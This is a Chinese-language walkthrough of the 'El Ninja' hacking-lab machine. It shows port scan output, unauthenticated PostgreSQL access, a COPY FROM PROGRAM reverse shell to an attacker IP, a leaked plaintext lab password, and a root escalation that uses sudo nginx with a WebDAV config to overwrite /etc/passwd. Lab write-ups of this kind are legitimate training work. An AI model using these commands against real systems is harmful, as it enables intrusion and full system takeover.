El Ninja

image

信息搜集

192.168.43.179

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.43.179 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.179:22
Open 192.168.43.179:80
Open 192.168.43.179:1337
Open 192.168.43.179:5000
Open 192.168.43.179:5432
Open 192.168.43.179:9999
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.179
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-22 04:18 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 04:18
Completed NSE at 04:18, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 04:18
Completed NSE at 04:18, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 04:18
Completed NSE at 04:18, 0.00s elapsed
Initiating ARP Ping Scan at 04:18
Scanning 192.168.43.179 [1 port]
Completed ARP Ping Scan at 04:18, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 04:18
Completed Parallel DNS resolution of 1 host. at 04:18, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 04:18
Scanning 192.168.43.179 [6 ports]
Discovered open port 5432/tcp on 192.168.43.179
Discovered open port 9999/tcp on 192.168.43.179
Discovered open port 80/tcp on 192.168.43.179
Discovered open port 1337/tcp on 192.168.43.179
Discovered open port 5000/tcp on 192.168.43.179
Discovered open port 22/tcp on 192.168.43.179
Completed SYN Stealth Scan at 04:18, 0.02s elapsed (6 total ports)
Initiating Service scan at 04:18
Scanning 6 services on 192.168.43.179
Completed Service scan at 04:19, 71.86s elapsed (6 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.179
NSE: Script scanning 192.168.43.179.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 04:19
Completed NSE at 04:19, 0.26s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 04:19
Completed NSE at 04:19, 1.22s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 04:19
Completed NSE at 04:19, 0.00s elapsed
Nmap scan report for 192.168.43.179
Host is up, received arp-response (0.00061s latency).
Scanned at 2026-05-22 04:18:04 CST for 75s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA9i7hiBgZdbqok5ESuJPFfkPuRpcCT6UEeh71LyPq3i2pfdC6S1w4UYO17jknxy06B1COEcaGELE4n2KCor3M4=
| 256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOaMroBaMRuicicDHyP1mRMULBpy4OqNENpp/l/O/cIq
80/tcp open http syn-ack ttl 64 nginx 1.22.1
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: nginx/1.22.1
1337/tcp open http syn-ack ttl 64 Uvicorn
|_http-server-header: uvicorn
|_http-title: Site doesn't have a title (application/json).
5000/tcp open http syn-ack ttl 64 Werkzeug httpd 3.1.8 (Python 3.11.2)
|_http-server-header: Werkzeug/3.1.8 Python/3.11.2
|_http-title: THL Ninjas \xE2\x80\x94 Precision. Silencio. Ejecucion....
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
5432/tcp open postgresql syn-ack ttl 64 PostgreSQL DB 15.15 - 15.16
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Issuer: commonName=debian
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-10-16T11:07:27
| Not valid after: 2034-10-14T11:07:27
| MD5: ca61 60af 966d b24a f708 6aa7 8fce 96eb
| SHA-1: 11f7 bc24 df51 ac09 5a31 1457 bfdd 8a1a c1a6 f519
| SHA-256: c97b d2e5 49fd 70fa 8f31 2f44 e829 ed24 94b1 51f7 1a44 b811 b5c9 629a e1a6 0e58
| -----BEGIN CERTIFICATE-----
| MIIC7zCC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ent time
9999/tcp open abyss? syn-ack ttl 64
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, NULL:
| [+] Username:
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| [+] Username: [+] Password:
| Login Failed
| Help:
| [+] Username: [+] Password:
| RPCCheck:
| [+] Username: Traceback (most recent call last):
| File "/home/wvverez/server.py", line 33, in <module>
| handle()
| File "/home/wvverez/server.py", line 13, in handle
| user = sys.stdin.readline().strip()
| ^^^^^^^^^^^^^^^^^^^^
| File "<frozen codecs>", line 322, in decode
| UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte
| SSLSessionReq:
| [+] Username: Traceback (most recent call last):
| File "/home/wvverez/server.py", line 33, in <module>
| handle()
| File "/home/wvverez/server.py", line 13, in handle
| user = sys.stdin.readline().strip()
| ^^^^^^^^^^^^^^^^^^^^
| File "<frozen codecs>", line 322, in decode
| UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation byte
| TerminalServerCookie:
| [+] Username: Traceback (most recent call last):
| File "/home/wvverez/server.py", line 33, in <module>
| handle()
| File "/home/wvverez/server.py", line 13, in handle
| user = sys.stdin.readline().strip()
| ^^^^^^^^^^^^^^^^^^^^
| File "<frozen codecs>", line 322, in decode
|_ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe0 in position 5: invalid continuation byte
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.99%I=7%D=5/22%Time=6A0F6882%P=x86_64-pc-linux-gnu%r(NU
SF:LL,E,"\[\+\]\x20Username:\x20")%r(GetRequest,2E,"\[\+\]\x20Username:\x2
SF:0\[\+\]\x20Password:\x20\n\[-\]\x20Login\x20Failed\n")%r(HTTPOptions,2E
SF:,"\[\+\]\x20Username:\x20\[\+\]\x20Password:\x20\n\[-\]\x20Login\x20Fai
SF:led\n")%r(FourOhFourRequest,2E,"\[\+\]\x20Username:\x20\[\+\]\x20Passwo
SF:rd:\x20\n\[-\]\x20Login\x20Failed\n")%r(JavaRMI,E,"\[\+\]\x20Username:\
SF:x20")%r(GenericLines,2E,"\[\+\]\x20Username:\x20\[\+\]\x20Password:\x20
SF:\n\[-\]\x20Login\x20Failed\n")%r(RTSPRequest,2E,"\[\+\]\x20Username:\x2
SF:0\[\+\]\x20Password:\x20\n\[-\]\x20Login\x20Failed\n")%r(RPCCheck,17B,"
SF:\[\+\]\x20Username:\x20Traceback\x20\(most\x20recent\x20call\x20last\):
SF:\n\x20\x20File\x20\"/home/wvverez/server\.py\",\x20line\x2033,\x20in\x2
SF:0<module>\n\x20\x20\x20\x20handle\(\)\n\x20\x20File\x20\"/home/wvverez/
SF:server\.py\",\x20line\x2013,\x20in\x20handle\n\x20\x20\x20\x20user\x20=
SF:\x20sys\.stdin\.readline\(\)\.strip\(\)\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\n\x20\x20File\x2
SF:0\"<frozen\x20codecs>\",\x20line\x20322,\x20in\x20decode\nUnicodeDecode
SF:Error:\x20'utf-8'\x20codec\x20can't\x20decode\x20byte\x200x80\x20in\x20
SF:position\x200:\x20invalid\x20start\x20byte\n")%r(DNSVersionBindReqTCP,E
SF:,"\[\+\]\x20Username:\x20")%r(DNSStatusRequestTCP,E,"\[\+\]\x20Username
SF::\x20")%r(Help,1C,"\[\+\]\x20Username:\x20\[\+\]\x20Password:\x20")%r(S
SF:SLSessionReq,183,"\[\+\]\x20Username:\x20Traceback\x20\(most\x20recent\
SF:x20call\x20last\):\n\x20\x20File\x20\"/home/wvverez/server\.py\",\x20li
SF:ne\x2033,\x20in\x20<module>\n\x20\x20\x20\x20handle\(\)\n\x20\x20File\x
SF:20\"/home/wvverez/server\.py\",\x20line\x2013,\x20in\x20handle\n\x20\x2
SF:0\x20\x20user\x20=\x20sys\.stdin\.readline\(\)\.strip\(\)\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\
SF:^\n\x20\x20File\x20\"<frozen\x20codecs>\",\x20line\x20322,\x20in\x20dec
SF:ode\nUnicodeDecodeError:\x20'utf-8'\x20codec\x20can't\x20decode\x20byte
SF:\x200xd7\x20in\x20position\x2013:\x20invalid\x20continuation\x20byte\n"
SF:)%r(TerminalServerCookie,182,"\[\+\]\x20Username:\x20Traceback\x20\(mos
SF:t\x20recent\x20call\x20last\):\n\x20\x20File\x20\"/home/wvverez/server\
SF:.py\",\x20line\x2033,\x20in\x20<module>\n\x20\x20\x20\x20handle\(\)\n\x
SF:20\x20File\x20\"/home/wvverez/server\.py\",\x20line\x2013,\x20in\x20han
SF:dle\n\x20\x20\x20\x20user\x20=\x20sys\.stdin\.readline\(\)\.strip\(\)\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\^\^\^\^\^\^\^\^\^\^\^\^\^\
SF:^\^\^\^\^\^\^\n\x20\x20File\x20\"<frozen\x20codecs>\",\x20line\x20322,\
SF:x20in\x20decode\nUnicodeDecodeError:\x20'utf-8'\x20codec\x20can't\x20de
SF:code\x20byte\x200xe0\x20in\x20position\x205:\x20invalid\x20continuation
SF:\x20byte\n");
MAC Address: 08:00:27:C1:48:F9 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/22%OT=22%CT=%CU=39605%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A0F68C7%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=108%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 5.442 days (since Sat May 16 17:42:20 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.61 ms 192.168.43.179

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 04:19
Completed NSE at 04:19, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 04:19
Completed NSE at 04:19, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 04:19
Completed NSE at 04:19, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.46 seconds
Raw packets sent: 29 (2.070KB) | Rcvd: 21 (1.542KB)
  • 22 SSH
  • 80 HTTP
  • 1337 HTTP
  • 5000 HTTP
  • 5432 postgresql
  • 9999 Python 后台

postgresql未授权访问

1
psql -h 192.168.43.179 -U postgres

利用COPY FROM PROGRAM进行反弹shell

1
2
3
4
thlninjas_internal=# CREATE TABLE b_exec(cmd_out text);
CREATE TABLE
thlninjas_internal=# COPY b_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/192.168.43.6/4444 0>&1"';

image

在/opt目录下有个db.php泄露了wvverez用户的凭证

1
2
3
4
5
6
7
8
9
10
11
postgres@TheHackersLabs-ElNinja:/var/lib/postgresql$ cd /opt/
postgres@TheHackersLabs-ElNinja:/opt$ ls
db.php
postgres@TheHackersLabs-ElNinja:/opt$ cat db.php
<?php
$db_credentials = [
'username' => 'wvverez',
'password' => 'dun1bd12dh979d178gd5%djnashda'
];
?>
postgres@TheHackersLabs-ElNinja:/opt$

横向移动到wvverez用户

1
2
3
4
5
postgres@TheHackersLabs-ElNinja:/opt$ su wvverez
Contraseña:
wvverez@TheHackersLabs-ElNinja:/opt$ id
uid=1001(wvverez) gid=1001(wvverez) grupos=1001(wvverez),100(users)
wvverez@TheHackersLabs-ElNinja:/opt$

提权

wvverez -> root

1
2
3
4
5
6
7
wvverez@TheHackersLabs-ElNinja:~$ sudo -l
sudo: unable to resolve host TheHackersLabs-ElNinja: Nombre o servicio desconocido
Matching Defaults entries for wvverez on TheHackersLabs-ElNinja:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wvverez may run the following commands on TheHackersLabs-ElNinja:
(root) NOPASSWD: /usr/sbin/nginx

nginx提权,gtfbins有方案

https://gtfobins.org/gtfobins/nginx/

这里是使用上传添加新用户的passwd(uid0 gid0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 1. 复制现有的 passwd 文件
cp /etc/passwd /tmp/passwd_new

# 2. 写入/tmp/pwn.conf。向其中追加一行真正合法的免密 root 用户
echo 'pwned::0:0:root:/root:/bin/bash' >> /tmp/passwd_new
user root;
events { worker_connections 1024; }
http {
server {
# 监听一个全新未被占用的端口
listen 9005;

# 允许访问和操作整个根目录
root /;
autoindex on;

# 开启 WebDAV 的 PUT 上传方法
dav_methods PUT;
}
}
sudo /usr/sbin/nginx -c /tmp/pwn.conf
curl -X PUT -T /tmp/passwd_new http://127.0.0.1:9005/etc/passwd
su pwned